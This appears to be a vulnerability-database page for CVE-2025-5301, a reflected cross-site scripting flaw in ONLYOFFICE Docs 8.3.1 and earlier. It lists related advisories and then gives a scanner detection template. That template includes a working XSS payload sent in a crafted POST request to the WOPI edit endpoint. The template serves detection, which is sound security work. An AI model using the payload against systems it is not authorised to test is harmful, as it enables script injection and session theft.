| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| The vulnerability of the implementation of the WOPI protocol for the ONLYOFFICE Docs office online package allows a perpetrator to carry out cross-site scripting attacks. | 17 Jun 202500:00 | – | bdu_fstec | |
| CVE-2025-5301 | 12 Jun 202508:33 | – | circl | |
| ONLYOFFICE Docs 跨站脚本漏洞 | 12 Jun 202500:00 | – | cnnvd | |
| CVE-2025-5301 | 12 Jun 202507:59 | – | cve | |
| CVE-2025-5301 Reflected Cross-Site Scripting in ONLYOFFICE Docs (DocumentServer) | 12 Jun 202507:59 | – | cvelist | |
| EUVD-2025-18164 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-5301 | 12 Jun 202508:15 | – | nvd | |
| CVE-2025-5301 | 12 Jun 202508:15 | – | osv | |
| 📄 ONLYOFFICE Docs 8.3.1 Cross Site Scripting | 18 Jun 202500:00 | – | packetstorm | |
| PT-2025-25284 | 14 Feb 202500:00 | – | ptsecurity |
id: CVE-2025-5301
info:
name: ONLYOFFICE Docs (DocumentServer) - Reflected Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
ONLYOFFICE Docs (DocumentServer) <= 8.3.1 contains a reflected XSS caused by improper sanitization of crafted HTTP POST requests via the WOPI protocol, letting attackers inject malicious scripts reflected in HTML response, exploit requires crafted POST requests.
impact: |
Attackers can execute malicious scripts in users' browsers, potentially stealing session data or performing actions on behalf of users.
remediation: |
Update to a version later than 8.3.1.
reference:
- https://github.com/ONLYOFFICE/
- https://seclists.org/fulldisclosure/2025/Jun/18
- https://nvd.nist.gov/vuln/detail/CVE-2025-5301
- https://github.com/ONLYOFFICE/DocumentServer/blob/master/CHANGELOG.md#832
- https://r.sec-consult.com/onlyoffice
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2025-5301
cwe-id: CWE-79
epss-score: 0.36306
epss-percentile: 0.98289
metadata:
verified: false
tags: cve,cve2025,onlyoffice,xss,vuln,seclists
http:
- raw:
- |
POST /hosting/wopi/word/edit?dchat=asdasd</script><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "{\"dchat\":", "</script><script>alert(document.domain)</script>")'
condition: and
# digest: 490a0046304402202e5b52868a3044ffa13fa391216e71ca9089ff857507a8e65ff7d6370137cb2702204915d32f3540607daca9d423e66aac5362002257707c13736e95bce083ea69e3:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation